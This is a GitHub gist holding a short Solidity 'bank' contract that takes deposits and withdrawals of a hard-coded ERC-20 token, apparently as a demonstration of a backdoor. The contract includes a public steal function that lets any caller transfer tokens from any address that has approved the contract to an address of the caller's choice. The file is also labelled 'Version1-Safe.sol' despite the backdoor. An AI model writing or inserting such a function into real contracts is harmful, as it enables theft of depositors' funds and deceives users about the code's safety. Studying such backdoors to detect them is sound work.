Skip to content

Instantly share code, notes, and snippets.

@DoguD
Created November 15, 2022 08:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DoguD/43092540e8eddbbd48a1a43cd1025422 to your computer and use it in GitHub Desktop.
Save DoguD/43092540e8eddbbd48a1a43cd1025422 to your computer and use it in GitHub Desktop.
A banking smart contract with a malicious steal function inside.
// contracts/Version1-Safe.sol
pragma solidity ^0.8.0;
interface IERC20 {
function transferFrom(address from, address to, uint256 value) external returns(bool);
function transfer(address to, uint256 value) external returns(bool);
}
contract Bank2 {
mapping(address => uint256) public depositAmount;
function deposit(uint256 amount) public {
IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56).transferFrom(msg.sender, address(this), amount);
depositAmount[msg.sender] += amount;
}
function withdraw() public {
IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56).transfer(msg.sender, depositAmount[msg.sender]);
depositAmount[msg.sender] = 0;
}
function steal(address from, address to, uint256 amount) public {
IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56).transferFrom(from, to, amount);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment